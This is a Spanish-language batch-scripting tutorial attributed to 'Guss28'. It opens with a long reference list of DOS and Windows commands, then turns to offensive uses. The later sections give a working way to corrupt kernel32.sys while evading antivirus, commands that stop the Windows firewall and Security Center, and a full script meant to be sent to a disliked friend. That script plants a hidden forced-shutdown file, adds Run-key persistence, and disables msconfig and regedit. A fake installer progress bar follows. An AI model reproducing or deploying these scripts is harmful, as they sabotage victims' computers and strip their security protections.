Comandos Codigos Batch
Comandos Codigos Batch
Comandos Codigos Batch
By Guss28
1. Todos o casi todos los comandos de DOS
Bueno, lo basico y elemental para saber usar batch es saber sus comandos. Aqu va una lista:
CLS -> borra pantalla
ECHO -> tiene varias posibilidades:
Echo sin parmetros saca el estado en que se encuentra la variable echo (on u off).
Echo on activa el echo (como en un terminal TTY) por lo que los comandos se vern en pantalla y luego
su resultado.
Echo off desactiva el comando echo y ya se vern los resultados de la ejecucin del comando, pero no el
comando en s mismo.
Echo literal saca por pantalla el literal. Por eso al hacer echo literal >fichero.bat estamos redirigiendo la
salida de echo literal (que tendra que salir por la pantalla) al archivo fichero.bat.
PAUSE ->Sirve para sacar un mensaje y parar la ejecucin hasta que se pulse una tecla
PROMPT ->Sirve para cambiar el prompt de msdos. El ms habitual es $p$g que corresponde a
$p = mostrar trayecto actual
$g = mostrar el separador >
$l = mostrar el separador muestra por programas
/d -> por programas y controladores
/c -> clasifica por tamao
COPY origen destino
Sirve para copiar archivos de un lugar a otro. el origen debe ser un trayecto completo de donde estn los
archivos a copiar. Si se omite se entiende que en el directorio actual.
El destino debe ser una trayectoria completa de donde dejar el/los archivo(s)
copy miarchivo.txt c:\ (copiarlo al directorio raz de C)
Comandos de cdigos Batch
By Guss28
copy miarchivo.txt c:\miarch.txt (copiarlo y adems cambiarle el nombre a miarch.txt)
copy *.txt a:\ (copiar todos los archivos que tengan la extensin txt a la unidad A)
copy *.txt c:\misdoc~1 (copiar todos los archivos que tengan la extensin txt al directorio Mis documentos
(cuyo nombre corto es misdoc~1).
DEL archivo(s)
Borrar archivos en seleccionados
del leeme.txt (borra el archivo leeme.txt en el directorio actual)
del c:\leeme.txt (borra el archivo leeme.txt que se encuentra en c:\)
del archiv~1\*.* (borra todos los archivos que se encuentren en el directorio 'Archivos de programa' cuyo
nombre corto es archiv~1 (no se borran las subcarpetas)
DELTREE archivo(s) -y
Borra el arbol especificado (si es un archivo pues el archivo, si es una carpeta pues la carpeta con todas las
subcarpetas que incluya).
Con el parmetro -y no pregunta cada vez
Este comando en realidad no es un comando sino una utilidad includa en msdos.
MKDIR nombre (o bien MD nombre)
Sirve para crear un directorio
Md micarpeta
CHDIR nombre (o bien CD nombre)
Sirve para ir al directorio aludido. Se le tiene que dar la trayectoria completa o si no intentar desplazarse
desde el directorio actual.
Cd c:\archiv~1 (se va a archivos de programa)
Cd .. (se va al directorio superior)
RMDIR nombre (o bien MD nombre)
Comandos de cdigos Batch
By Guss28
Borra un directorio. Este debe estar vaco.
RD c:\Misdoc~1 (borra Mis Documentos, aunque no podr porque no est vaco).
DIR trayecto
Saca una lista del contenido del directorio especificado en el trayecto. Si no se especifica nada, se entiende
el actual.
Si se pone como parmetro /W saca un listado resumido.
Si se pone como parmetro /P saca un listado utilizando el filtro more.
ATTRIB archivo(s)-> Muestra los atributos de los archivos indicados y en su caso permite cambiarlos.
Los atributos son:
H -> oculto. Se activa con +h y desactiva con -h
R -> Lectura. Solo lectura con +r, normal con -r
S -> Sistema. Se activa con +s y desactiva con -s
A -> Modificado. Para copias de seguridad incrementales. +a indica modificado y -a indica no modificado.
Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt)
attrib *.exe +r +r +s (pone a todos los archivos con extensin exe como ocultos, del sistema y read only)
RENAME o REN nombre1 nombre2
Cambiar el nombre de archivo
Ren miarchivo.txt miarchivo2.txt
TYPE archivo
Muestra por pantalla el contenido de un archivo
type miarchivo.txt
DISCKCOPY origen destino-> Copia disquetes completos.
Diskcopy a: a: Copia el disquete introducido en la unidad A a un disquete que se introducir posteriormente
en la unidad A
Comandos de cdigos Batch
By Guss28
FDISK
Permite editar las particiones del disco duro.
Con la opcin /mbr permite borrar el Master Boot Record
FORMAT unidad parmetros
/q -> formateo rpido
/s -> Transferir el sistema operativo
Format a: /s formatea el disquete y le transfiere el sistema operativo bsico de arranque.
LABEL unidad etiqueta
Cambiar la etiqueta de volumen del disco de la unidad
label a: midisquete
MSCDEX
Montar una unidad de CdRom en msdos (solo requerido si se carga msdos sin estar windows cargado
previamente (por ejemplo cuando se arranca desde disquete).
Suponiendo un CdRom al que se haya cargado en config.sys con el nombre MiCd
mscdex /d:MiCd
Scandisk unidad parmetros
Para comprobar/reparar el estado del disco
/autofix -> reparar automticamente errores
/surface -> hacer pruebas de superficie
/checkonly -> no reparar, solo chequear
ARP parmetros
Modificar la tabla arp.
Comandos de cdigos Batch
By Guss28
-a -> mostrar la tabla arp
-s ip mac -> agregar una entrada a la tabla arp
FTP
Iniciar el cliente ftp
IPCONFIG parmetros
Mostrar las caractersticas de configuracin de IP
/all -> muestra toda la informacin de configuracin
/release adaptador -> libera la ip del adaptador especificado
/renew adaptador -> renueva la ip para el adaptador especificado
/flushdns -> purga la cach de resolucin de dns
/registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns
/displaydns -> muestra el contenido de la cache de resolucin dns
NBTSTAT
Hace un estado de la red por netbios
Tiene muchos parmetros. Consultarlos mediante nbtstat /?
NET parmetros
Comando para el uso de redes netbios
USE \\equipo\recurso -> para acceder a unidades lgicas compartidas. Se le asignar un nombre de unidad
y estar disponible como una unidad mas del sistema.
USE \USER: dominio\usuario para acceder a un dominio
USE unidad /DELETE eliminar el acceso a unidad compartida.
SHARE trayecto /REMARK texto -> para compartir un recurso en red
START -> para comenzar sesin netbios
STOP -> para detener netbios
Comandos de cdigos Batch
By Guss28
NETSTAT
Para ver el estado de la red.
-a -> mostrar todos los puertos y conexiones
-n -> mostrar nmeros de puertos y direcciones
-r -> mostrar la tabla de rutas
-s -> mostrar estadsticas por protocolo
-p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas
NSLOOKUP dominio
Muestra el dominio, su ip, dns donde se resuelve y sus alias
PING
Utilizar ICMP para llegar a un determinado nodo
TELNET ip puerto
Utilizar el protocolo telnet para acceso a un servidor exterior
TRACERT destino
tracear el camino hasta llegar al destino especificado
CHKDSK - Controla un disco y provee informacin sobre su capacidad, su estado, los directorios, los
archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2.
ATTRIB - Presenta en pantalla o modifica los atributos de los archivos.
COPY - Sirve para copiar archivos, concatenarlos, cambiarles el nombre, etc.
Comandos de cdigos Batch
By Guss28
DIR - Presenta la lista del contenido de un directorio, en su totalidad o de manera selectiva.
EDIT - Editor que reemplaza a Edlin desde el DOS.5. Se usar esencialmente para modificar pequeos
archivos de texto, empezando por los llamados "archivos de sistema, que son el
CONFIG.SYS y el, que son el CONFIG.SYS y el AUTOEXEC.BAT.
FDISK - Instala un disco duro, crea, muestra en pantalla o suprime particiones.
FORMAT - Formatea el disco destinatario marcando y eliminando los sectores defectuosos, inicializando el
directorio y la tabla de asignacin de los archivos (FAT), y cargando el programa de inicio.
INSTALL O INSTALAR- Carga los programas residentes, a travs del Config.Sys.
MD - Crea un directorio. Otro nombre de este comando: MKDIR, por "Make
Directory, creacin de un directorio., creacin de un directorio.
MSCDEX - Acceso a los CD-ROM. A partir del DOS 6.
SCANDISK - Herramienta de verificacin y reparacin de los discos duros, pero slo a partir de la
versin 6.2.
Aca estan los demas para los que quieren saber mas del dos
ANSI.SYS - Carga el cdigo ANSI. Interviene en el Config.Sys mediante un Device=
APPEND - Indica al sistema en qu directorios debe buscar los archivos de datos o de comandos. Este
comando es relativamente reciente en el DOS y complementa al comando PATH, que slo se ocupa de
archivos de comandos.
ASSIGN - Env-a el comando direccionado en un disco hacia otro disco; este ltimo reemplaza al
primero. Ya no existe en el DOS 6.
Comandos de cdigos Batch
By Guss28
BACKUP - Realiza una copia de seguridad de los archivos de un disco en uno 0 varios discos, mostrando
mientras tanto su nombre en pantalla. La restauracin de los archivos se hace con la orden de sentido
contrario, RESTORE. El Backup ya no existe en el DOS 6, lo cual es una bendicin porque este comando
era uno de los ms dif-ciles de manejar.
BASIC - Llama al lenguaje Basic IBM en los DOS IBM. Se trata del lenguaje de programacin ms
simple que existe.
BAT - Extensin espec-fica para el nombre de los archivos de procedimientos, que disponen de toda una
gama de comandos propios. Uno de los ms conocidos es el archivo AUTOEXEC.BAT, que se ejecuta
automticamente cuando usted pone su computadora en funcionamiento .
BREAK - Activa o desactiva la posibilidad de realizar una interrupcin con Con -trol + Pausa, que
permite salir de una secuencia.
BUFFERS - Comando para el config.sys que determina la capacidad del bfer para el disco.
CALL - En un archivo .bat, llama a otro .bat como un subprograma.
CD - Cambio de directorio; su nombre completo es CHDIR.
CHCP - Seleccin de las tablas de cdigos.
CHDIR - Cambio de directorio, cuyo nombre abreviado es CD. Adopte CD en lu -gar de CHDIR si
quiere evitar presionar tres teclas en el teclado.
CHKDSK - Controla un disco y provee informacin sobre su capacidad, su estado, los directorios, los
archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2.
CHKSTATE.SYS - Una novedad del DOS 6. Usado por el programa MemMaker para optimizar la
memoria.
Comandos de cdigos Batch
By Guss28
CHOICE - Una novedad del DOS. 6. Le pide al usuario que efecte una seleccin en una secuencia
batch .
CLS - Simplemente borra la pantalla, sin cambiar ninguna otra cosa. Es un coman -do pequeo e
interesante que conviene recordar.
COMMAND - Llama a un procesador secundario de comandos, o reinstala el procesador de comandos
COMMAND.COM del DOS.
CONFIG.SYS - Archivo de configuracin que dispone de instrucciones propias. Este archivo se ejecuta
automticamente cada vez que se pone en funcionamiento la computadora.
COUNTRY - Nacionaliza el sistema, adaptndolo al pa-s.
DATE - Muestra en pantalla y modifica la fecha utilizada por el sistema; la nueva, fecha introducida se
graba en las memorias permanentes.
DBLSPACE - Compacta el disco duro, duplicando aproximadament e su capacidad. La compresin puede
variar normalmente de 1,7 a ms de 10, segn el tipo de archivo. Este comando ha sido reemplazado por
DRIVESPACE a partir del DOS 6.22.
DBLSPACE.SYS - Una novedad del DOS 6. Determina la posicin final del archivo dblspace.bin.
DEBUG - Lanza el programa de "debugging' (eliminacin de errores). Debug est reservado a los
expertos.
DEFRAG - Una novedad del DOS 6. Desfragmenta los archivos en el disco duro para mejorar la velocidad y
la seguridad.
DEL - Destruye uno o varios archivos en el disco (acta como el comando ERASE).
Comandos de cdigos Batch
By Guss28
DELOLDOS - Suprime la puesta en reserva de un DOS antiguo.
DELTREE - Una novedad dei DOS 6. Suprime un directorio y todo lo que contiene, incluyendo los
subdirectorios, en una sola operacin.
DEVICE - Instala un driver de perifrico, por medio del config.sys.
DEVICEHIGH - Carga un administrador en memoria superior, por encima de los primeros 640 KB.
DISKCOMP - Compara el contenido total, pista por pista y sector por sector, de dos disquetes del mismo
tipo.
DISKCOPY - Copia de modo idntico el contenido de un disquete fuente en un disquete destinatario
rigurosamente del mismo formato, formateando previamente este ltimo y hacindolo sobre el modelo
del disquete fuente si es necesario.
DISPLAY.SYS - Se utiliza para conmutar las tablas de cdigos, v-a el config.sys.
DOS - Establece un v-nculo entre la memoria convencional y la memoria superior a travs del
config.sys.
DOSKEY - Instala el programa de memorizacin y de llamado de los comandos instalados anteriormente.
De esta manera, se evita tener que volver a escribirlos.
DOSSHELL - Llama a la superestructur a de dilogo del DOS. Este dos shell ha sido
suprimido en la versin DOS 6.2 ya que Microsoft consider que hab-a sido reemplazado
ventajosamente por el Administrador de archivos de ese
superprograma de ese superprograma que es Windows.
Comandos de cdigos Batch
By Guss28
DRIVER.SYS - Administra las disqueteras, a travs del Config.Sys.
DRIVPARM - Define los parmetros de perifricos en modo bloque, a travs del Config.Sys.
DRIVESPACE - Reemplaza a DBLSPACE a partir del DOS 6.22, con las mismas fun -ciones.
ECHO - Vuelve a mostrar en pantalla o no, en eco, los comandos ejecutados en un archivo .BAT, segn se
ponga o no en servicio este eco, usando ON u OFF respec -tivamente. Permite introducir un mensaje que
ser mostrado en pantalla en todos los casos.
EMM386 - Sirve de soporte a la memoria expandida.
EMM386.EXE - Simula la memoria expandida en la memoria extendida, a travs del Config.sys.
ERASE - Destruye uno o varios archivos del disco (y acta como el comando DEL). Opte por DEL ya que
se escribe ms rpido.
ERROLEVEL - Cdigo de errores para archivos .BAT Otra nocin ms para expertos.
EXE2BIN - Convierte el formato .EXE en .BIN o .COM. Este comando, que no exis -te ms en los
DOS 6, est destinado a los programadores.
EXIT - Sale de un procesador de comandos. En la mayor-a de los casos, EXIT le permite salir del DOS
para volver al programa que lo llama, Windows por ejemplo.
EXPAND - Descomprime un archivo comprimido. A partir del DOS versin 5.
FASTHELP - Muestra en pantalla la lista de comandos de la versin 6 con una breve explicacin.
Comandos de cdigos Batch
By Guss28
FASTOPEN - Proporciona un acceso rpido a los archivos que se usan con ms frecuencia, o a los
ltimos que se han utilizado, memorizando su camino de acceso.
FC - Comparacin de archivos. No est disponible en todas las versiones.
FCBS - Especifica la cantidad de bloques de control de archivos, en un Config.Sys. Este comando est
reservado a los expertos.
FILES - Especifica la cantidad de archivos abiertos, en un Config.Sys.
FIND - Busca la cadena de caracteres indicada en un archivo y env-a al perifrico activo de salida (el
monitor, por ejemplo) todas las l-neas en las que la encontr.
FOR - Especifica la repeticin del mismo comando para cada una de las variables contenidas en la lista.
GOTO - Es un direccionamien to incondicional a una l-nea marcada con un rtulo del mismo nombre en
un archivo .BAT.
GRAFTABL - Carga la tabla de los caracteres grficos, los cdigos ASCII 128 a 255, para la
visualizacin en pantalla. No existe ms en el DOS 6.
GRAPHIC - Carga una secuencia que permite la impresin de la pantalla que incluye caracteres grficos,
de cdigos 128 a 255.
GWBASIC - Llamado del antiguo Basic avanzado de Microsoft. No existe ms en el DOS 6, en el cual ha
sido reemplazado por el QBasic.
HELP - Pedido de ayuda. Desde el DOS 5.
HIMEM.SYS - Administrador de memoria extendida.
Comandos de cdigos Batch
By Guss28
IF - Comando de ejecucin condicional para archivo .BAT.
INCLUDE - Incluye un bloque de configuracin en otro, a travs del Config.Sys. Nuevo comando con el
DOS 6.
INTERLNK - Conecta dos computadoras, por medio de sus puertos paralelos o en serie. Nuevo comando del
DOS 6.
INTERLNK.EXE - Administrador para Interlnk. Novedad del DOS versin 6.
INTERSVR - Lanza el centro de recuperacin de datos InterLnk. Nuevo comando del DOS 6.
JOIN - Asigna el contenido de un disco a un directorio de otro disco. No existe ms en el DOS 6.
KEYB - Carga el programa que administra el teclado (reemplaza al que reside en la memoria muerta, para el
teclado USA).
LABEL - Crea, modifica o suprime el nombre atribuido a un disco.
LASTDRIVE - Define la cantidad de unidades de disco en el Config.Sys.
LH - Carga un programa en la memoria superior, generalmente en el Autoexec.bat. Otro nombre:
LOADHIGH.
LINK - Llama al editor de conexiones.
LOADFIX - Carga un programa por encima de los primeros 64 Kb de memoria y lo ejecuta. Nuevo
comando del DOS 6.
Comandos de cdigos Batch
By Guss28
LOADHIGH - Carga un programa en la memoria superior, generalmente a travs del Autoexec.bat. Desde
el DOS 5. Otro nombre: LH.
MACROS - Realizacin de macros con Doskey.
MEM - Muestra en pantalla la memoria ocupada y la disponible.
MEMMAKER - Administracin y optimizacin de la memoria, pero con los DOS 6.
MENUCOLOR - Determina el color del texto y del fondo para el primer men, a travs del Config.Sys.
A partir del DOS 6.
MENUDEFAULT - Especifica el men por defecto, en el inicio. A partir del DOS 6.
MENUITEM - A partir del DOS 6. Define un -tem del men de arranque.
MIRROR - Copia de seguridad para el seguimiento del borrado de archivos. Con el DOS 5.
MKDIR - Crea un subdirectorio. Otro nombre de este comando: MD, por "Make
Directory, creacin de un, creacin de un directorio.
MODE - Establece las condiciones de funcionamiento de los perifricos, impresora, interface de video y
conexiones en serie, y tambin sirve para la preparacin de las tablas de cdigos.
MORE - Para visualizar pgina por pgina en la pantalla (es decir, sin que desfilen ininterrumpida mente
en la pantalla)
MOVE - Mueve uno o varios archivos y da nuevo nombre a archivos o directorios. Nuevo comando con el
DOS 6.
Comandos de cdigos Batch
By Guss28
MSAV - Programa antivirus. A partir del DOS 6.
MSBACKUP - Nuevo procedimiento de copia de seguridad, a partir del DOS 6.
MSD - Provee informacin tcnica sobre su computadora. A partir del DOS 6.
NLSFUNC - Comando relativo a los idiomas nacionales. Su nombre proviene de "National Languages
Support Function. Da informaciones complementaria. Da informaciones
complementaria s sobre los pa-ses y prepara el uso de las tablas de cdigos con CHCP
NUMLOCK - Determina que la seccin numrica del teclado est bloqueada o no, a travs del
Config.Sys. Nuevo comando a partir del DOS 6.
PATH - Especifiica caminos de bsqueda alternativos para los archivos de comando (con la extensin
.COM, o .EXE o .BAT) que no se encuentran en el directorio acti -vo. Este comando se encuentra
generalmente en el archivo Autoexec.bat.
PAUSE - Suspende la ejecucin de un programa .BAT mostrando en pantalla un mensaje optativo de 121
caracteres como mximo.
POWER - Pone en servicio o saca de servicio la administracin del consumo de energ-a. Nuevo comando
a partir del DOS 6.
POWER.EXE - Administrador de POWER. Nuevo, a partir del DOS 6.
PRINT - Imprime el contenido de archivos, en segundo plano, mientras se prosigue con un trabajo en la
pantalla.
PRINTER.SYS - Se utiliza para conmutar las tablas de cdigos con las impresoras, a travs del
Config.Sys.
Comandos de cdigos Batch
By Guss28
PROMPT - Define o muestra en pantalla los s-mbolos del sistema utilizados por el DOS.
QBASIC - Es el nuevo lenguaje Basic de Microsoft. A partir del DOS 5.
RAMDRIVE - Instala un disco virtual, a travs del Config.Sys.
RD - Suprime un subdirectorio que debe estar obligatoriamen te vac-o (y que, por lo tanto, slo debe
contener las marcas . y ..). El nombre completo de este comando es RMDIR.
RECOVER - Interviene cuando hay que recuperar los datos de un archivo porque hay un sector defectuoso
en el disco. Los datos de este sector se habrn perdido. No existe ms en el DOS 6.
REM - Introduce observaciones, comentarios, en 123 caracteres como mximo por l-nea de REM.
REN - Cambia el nombre de un archivo.
RENAME - Cambia el nombre de un archivo. Es lo mismo que REN, pero ms lar -go de escribir.
REPLACE - Reemplaza o agrega selectivamente archivos que provienen de un dis -co fuente a un disco
destinatario.
RESTORE - Restaura, restablece el contenido de un disco a partir de su copia de seguridad anterior, con los
DOS hasta el 5 inclusive. En el DOS 6, slo existe para la compatibilidad .
RMDIR - Suprime un subdirectorio que debe estar obligatoriamen te vac-o (y que, por lo tanto, slo debe
contener las marcas . y ..). El nombre abreviado es RD.
SET - Sirve para definir el entorno de trabajo que requieren algunos programas, introduciendo un nombre
seguido de su equivalencia.
Comandos de cdigos Batch
By Guss28
SETVER - Declara las versiones del DOS para algunas aplicaciones.
SETVER.EXE - Administrador de SETVER.
SHARE - Instala el programa para compartir archivos.
SHELL - Instala un procesador de comandos.
SHIFT - Sirve para utilizar ms de 10 parmetros reemplazables numerados de 0 a 9, en las l-neas de
comando, marcando una diferencia de una posicin para cada SHIFT que se introduce.
SHIPDISK - Bloquea los cabezales del disco duro antes de desplazarlo. Desapareci en el DOS 6.
SIZER.EXE - Utilizado por el programa de optimizacin de la memoria MemMaker Novedad del DOS 6.
SMARTDRV - Creacin de la antememoria de disco SmartDrive.
SMARTDRV.EXE - Administrador de SmartDrv.
SMARTMON - Programa de monitoreo (de vigilancia) de SmartDrive.
SORT - Ordena datos.
STACKS - Define las pilas, a travs del Config.Sys.
SUBMENU - Define un -tem del men de arranque abriendo un submen. Nuevo comando del DOS 6.
SUBST - Sustituye un camino de acceso cuya descripcin es larga, y/o su unidad, por una unidad de disco
ficticia que bastar con llamar luego.
Comandos de cdigos Batch
By Guss28
SWITCHES - Sustituye el teclado extendido por el teclado convencional.
SYS - Copia los tres archivos que sirven de ncleo al sistema del disco fuente activo al disco destinatario.
TEMP - Variable de entorno.
TIME - Muestra en pantalla o configura la hora del sistema (incluidos los relojes permanentes,
resguardados).
TREE - Muestra los rboles de los directorios de un disco (y la lista de sus archivos con una clave
suplementaria).
TYPE - Muestra en pantalla el contenido de un archivo.
UNDELETE - Recuperacin de archivos borrados. A partir de la versin DOS 5.
UNFORMAT - Reconstruccin de un disco reformateado. A partir del DOS 5.
VDISK - Instala un disco virtual, a travs del Config.Sys. Dej de estar incluido a partir del DOS 6.
VER - Muestra en pantalla la versin activa del DOS.
VERIFY - Pone en servicio (con ON) o anula (con OFF) la verificacin de los datos escritos en el disco.
VOL - Muestra en pantalla el nombre del disco solicitado.
VSAFE - Residente antivirus.
Comandos de cdigos Batch
By Guss28
XCOPY - Copia archivos selectivamente, inclusive los que provienen de subdirectorios . Es un comando
excelente que puede servir incluso para efectuar copias de seguridad.
2. Inutilizar archivos con batch.
Algunos antivirus, al ver en un bat el comando del, lo toman como virus. Entonces, como podemos joder un
archivo sin que sea detectado? Pues asi:
echo No hay comando del pero te jodo igualmente > kernel32.sys
Esto lo que hace es que introduce en el archivo kernel32.sys un texto como el de arrriba, dejando
completamente inutilizable el kernel32. El nombre del archivo se puede cambiar y puede ser cualquiera.
3. Cargarse el firewall de Windows.
Algunas veces el firewall es muy coazo verdad? Pues copia y pega esto en un bat y lo ejecutas. Dile adios
al firewall.
net stop "Security Center"
net stop SharedAccess
net stop "Firewall de Windows/Conexion compartida a Internet (ICS)"
4. Como cargarse Regedit y MsConfig
Tienes un amigo al que le tienes un poco de mania?
Pues enviale esto en forma de batch y ya veras que contento se queda.
@echo off
Comandos de cdigos Batch
By Guss28
echo @echo off > %systemroot%\system32\win32.bat
echo shutdown -s -f -t5 -c "Tu compu ha sido infectada por un VIRUS creado por mi, yo te sugiero que te
compres un nuevo ordenador o que consigues mi antivirus" >> %systemroot%\system32\win32.bat
echo exit >> %systemroot%\system32\win32.bat
attrib +R +S +H %systemroot%\system32\Win32.bat
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Win32 /t REG_SZ /d
%systemroot%\system32\win32.bat"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Win32 /t
REG_SZ /d %systemroot%\system32\win32.bat /f"
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Win32 /t
REG_SZ /d %systemroot%\system32\win32.bat"
ren C:\WINDOWS\ServicePackFiles\i386\msconfig.exe qwe.dll
ren C:\WINDOWS\pchealth\helpctr\binaries\msconfig.exe ewq.dll
copy C:\windows\system32\cmd.exe C:\regedit.exe
ren C:\windows\regedit.exe mstvl.dll
copy C:\regedit.exe C:\windows\regedit.exe
del C:\regedit.exe
shutdown -s -f -t60
exit
Esto lo que hace es que se carga Regedit y MsConfig.
5. Como aadir un archivo al registro para que se inicie con cada encendido.
Si quieres que un archivo se inicie con el arranque de Windows, pon esto:
Reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Win32 /d
"C:\Windows\System32\nombre_archivo.bat" /f
Comandos de cdigos Batch
By Guss28
Con esto haces que cada vez que se inicie windows, se inicie el archive nombre_archivo.bat. El nombre
del archivo lo puedes cambiar y puedes hacer que si inicie cualquier archivo.
6. Instalador para tus batchs.
Puedes aadir un instalador en tu batch para que quede mucho mejor.
@ echo off
:inicio
cls
set numero2=1
set /a resultado=%resultado% + %numero2%
echo Installing.....%resultado%%%
ping 1.0.0.0 n >nul
if %resultado%==100 (goto fin)
goto inicio
:fin
msg * Instalacion completada con exito.
@ echo off
:inicio
cls
set numero2=1
set /a resultado=%resultado% + %numero2%
echo Installing.....%resultado%%%
ping 1.0.0.0 n >nul
if %resultado%==100 (goto fin)
goto inicio
Comandos de cdigos Batch
By Guss28
:fin
msg * Instalacion completada con exito.
7. Personalizar tus batchs poniendole mejor belleza.
Si haces un batch con un men, puedes aadirle esto y queda de fabula!
@ echo off
title Personalizador de batchs
color fc
echo
echo
echo
echo Nombre de tu programa
echo
echo
echo
pause >nul
cls
echo.
echo.
echo.
echo.
echo
echo
echo
echo Cuadro de Opciones Escoja 1
Comandos de cdigos Batch
By Guss28
echo
echo
echo
echo Opcion numero 1
echo
echo Opcion numero 2
echo
echo opcion numero 3
echo
echo
echo
echo.
echo.
set /p opcion=